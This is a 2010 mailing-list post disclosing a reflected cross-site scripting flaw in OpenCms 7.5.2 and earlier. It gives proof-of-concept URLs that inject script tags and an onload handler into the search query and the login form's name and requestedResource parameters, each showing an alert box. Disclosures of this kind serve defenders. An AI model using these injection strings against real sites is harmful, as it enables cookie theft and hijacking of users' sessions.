[opencms-dev] Alkakon OpenCms 7.5.2 non persistent XSS.
Diego Perez Lopez
dplrip at gmail.com
Thu Feb 18 14:25:13 CET 2010
# Exploit Title: Alkakon OpenCms 7.5.2 and below non persistent XSS.
# Date: 17/02/2010
# Author: EgoPL
# Mail: dplrip at gmail.com
# Software Link: http://www.opencms.org/en/
# Version: 7.5.2 and below.
# Tested on: Arch Linux + Apache Tomcat but it's OS independent.
# Description of the webapp:
OpenCms is a complete and powerful open source web content management
system. Alkacon Software GmbH is the official maintainer and the major
contributor for OpenCms.
OpenCms provides powerful features especially suited for medium and large
enterprise internet or intranet applications.
OpenCms is a Java and XML based system, completly build from open source
components. This means OpenCms be deployed on almost any existing IT
infrastructure without high licensing costs.
# XSS by the Wikipedia.
Cross-site scripting holes are web application vulnerabilities which allow
attackers to bypass client-side security mechanisms normally imposed on web
content by modern browsers. By finding ways of injecting malicious scripts
into web pages, an attacker can gain elevated access privileges to sensitive
page content, session cookies, and a variety of other information maintained
by the browser on behalf of the user. Cross-site scripting attacks are
therefore a special case of code injection.
# Proof of concept
Search Form:
http://www.example.com/opencms/search.html?action=search&searchPage=1&query=>"><script>alert("EgoPL
says: Hi, I'm in a XSS")</script>&submit=GO
Login-form (not the admin login form and It's located in extra in the
"demo_en" default installation of OpenCMS but really can be in the index or
anywhere, name and requestedResource are vulnerable.)
Using name:
http://www.example.com/opencms/extra/login.html?name=<body+onload=alert("I'm
at @EgoPL in
Twitter")>&password=securepassword&action=login&requestedResource=%252Fdemo_en%252Fextra%252Fextranet%252Findex.html
Using requestedResource:
http://www.example.com/opencms/extra/login.html?name=EgoPL&password=4815162342&action=login&requestedResource=>"><script>alert("I
love Lost, I saw today Lost 6x04")</script>
______ _____ _
| ____| | __ \| |
| |__ __ _ ___ | |__) | |
| __| / _` |/ _ \| ___/| |
| |____| (_| | (_) | | | |____
|______|\__, |\___/|_| |______|
__/ |
|___/ EOF
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <https://webmail.opencms.org/pipermail/opencms-dev/attachments/20100218/754ac660/attachment.htm>
More information about the opencms-dev
mailing list